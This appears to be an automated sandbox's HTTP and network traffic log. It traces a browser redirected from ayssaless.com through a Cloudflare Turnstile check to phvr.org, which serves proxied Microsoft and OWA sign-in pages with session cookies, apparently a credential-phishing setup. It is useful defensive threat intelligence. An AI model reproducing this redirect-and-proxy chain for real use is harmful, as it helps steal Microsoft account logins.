HTTP traffic: Redirect from: ayssaless.com to https://phvr.org/?dataxx0=eyjhbgcioijiuzi1niisinr5cci6ikpxvcj9.eyj1cmwioijodhrwczovl3bodniub3jnlyisimrvbwfpbii6inbodniub3jniiwia2v5ijoiamy3wvhksu1fa0hkiiwicxjjijpudwxslcjpyxqioje3mjawndm0mzusimv4cci6mtcymda0mzu1nx0.jas1sod8yix7ia_730oawyfqg1kpzbxkgumi-kumulc

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /?dybkhjzu HTTP/1.1Host: ayssaless.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?dybkhjzu=7fd3278cbad230a46aea1749c768258a239f96a4595391908a87812351a895e43093a1c5c4e9f400c6baeab531aa312d260c1bdff35b93216f7c90c5166986c9 HTTP/1.1Host: ayssaless.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ayssaless.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/d2a97f6b6ec9/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ayssaless.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/fozv9/0x4AAAAAAAdTh0M8wTbaildE/auto/normal HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ayssaless.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=89da16dad8d74243 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/fozv9/0x4AAAAAAAdTh0M8wTbaildE/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/fozv9/0x4AAAAAAAdTh0M8wTbaildE/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ayssaless.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ayssaless.com/?dybkhjzu=7fd3278cbad230a46aea1749c768258a239f96a4595391908a87812351a895e43093a1c5c4e9f400c6baeab531aa312d260c1bdff35b93216f7c90c5166986c9Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1171513691:1720042031:V-1DSJGSRzYWJ5RQHOROFwIaAUUuh9iSOzGOqOAfpJc/89da16dad8d74243/874531de73a4462 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/89da16dad8d74243/1720043409263/BGklw8ERV6X92zV HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/fozv9/0x4AAAAAAAdTh0M8wTbaildE/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/89da16dad8d74243/1720043409263/BGklw8ERV6X92zV HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/89da16dad8d74243/1720043409268/4cbea6bdec3ef6990ccfedda2ef1a55585db0d80cdc1a200bd58117d25703da1/KPMbw5S5tDAhQT0 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/fozv9/0x4AAAAAAAdTh0M8wTbaildE/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1171513691:1720042031:V-1DSJGSRzYWJ5RQHOROFwIaAUUuh9iSOzGOqOAfpJc/89da16dad8d74243/874531de73a4462 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1171513691:1720042031:V-1DSJGSRzYWJ5RQHOROFwIaAUUuh9iSOzGOqOAfpJc/89da16dad8d74243/874531de73a4462 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3BodnIub3JnLyIsImRvbWFpbiI6InBodnIub3JnIiwia2V5IjoiamY3WVhkSU1Fa0hKIiwicXJjIjpudWxsLCJpYXQiOjE3MjAwNDM0MzUsImV4cCI6MTcyMDA0MzU1NX0.JAs1Sod8yix7ia_730oaWYfQG1KpZbxKGumi-KumUlc HTTP/1.1Host: phvr.orgConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ayssaless.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: phvr.orgConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ayssaless.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw
Source: global traffic	HTTP traffic detected: GET /owa/ HTTP/1.1Host: phvr.orgConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ayssaless.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw
Source: global traffic	HTTP traffic detected: GET /?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q HTTP/1.1Host: phvr.orgConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ayssaless.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_sw-M8KkV3_nBot-G1ImRcw2.js HTTP/1.1Host: phvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1QAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; OIDC=1; OpenIdConnect.nonce.v3.r4de45POxQ3HJYiJGcLMQCWXDACqZRwI8GYEzI6XDak=638556402377074218.0f55fe7d-bec8-4e47-85c7-9c97e67b1890; X-OWA-RedirectHistory=ArLym14BKqa8LKqb3Ag; esctx-3irMWGpLqqA=AQABCQEAAAApTwJmzXqdR4BN2miheQMYuCbasr6VflTvI7fdGUB8JXyH5-fw56k8A20F-Yv3Z_-TJtNxn04gZWTQOhb-abVo4kaTpyjZH-6gAsGiY4Yn9Zz-EfNhWeRCo8Btrsa_WLU9m1qolxBTOGg9FeJRC5CFUQq4uzgbcumI-A1nZua-LyAA; fpc=AlWXWngi0U1FhCT5sIeZshA; esctx=PAQABBwEAAAApTwJmzXqdR4BN2miheQMYi60qYMQ9lWmw4iaeh2qgGgrqKQhTfiK7R2V-RPfmTbsbuP6AN4n7mJdI6mzxYvsC_u3yfAN0Oq96_bCFrWqvnFNgwEKnklzvgMySH_XNtwbD8NEY1uWRX29VmYcozZJGQZgAavt8Fyxu9Qet_T8kjeg-ns4bnSH3NzXRQaSnhykgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1Q&sso_reload=true HTTP/1.1Host: phvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://phvr.org/?y6i9iw4gm=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9ZDZhZjgwMWItNDI2My0yODUwLWU4NDItM2Y3ZmVlMDdmN2QwJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODU1NjQwMjM3NzA3NDIxOC4wZjU1ZmU3ZC1iZWM4LTRlNDctODVjNy05Yzk3ZTY3YjE4OTAmc3RhdGU9RGNzeEZvQWdEQVJSME9keElnRVROaHhITUxTV1hsLUtQOTNFRU1LLWJFdmtsWUI2bVdvVkxoZkFrSkx0NUtrNkhROTFIMGJpQWpJZG9EWWF2S0puYXh6WGU2VDN1OU1QAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=jf7YXdIMEkHJ; qPdM.sig=JzExGlp4bLAx1cNMyhVmMjKQCYw; ClientId=8DD7D1DBE24E4DA7A257935551B595D8; 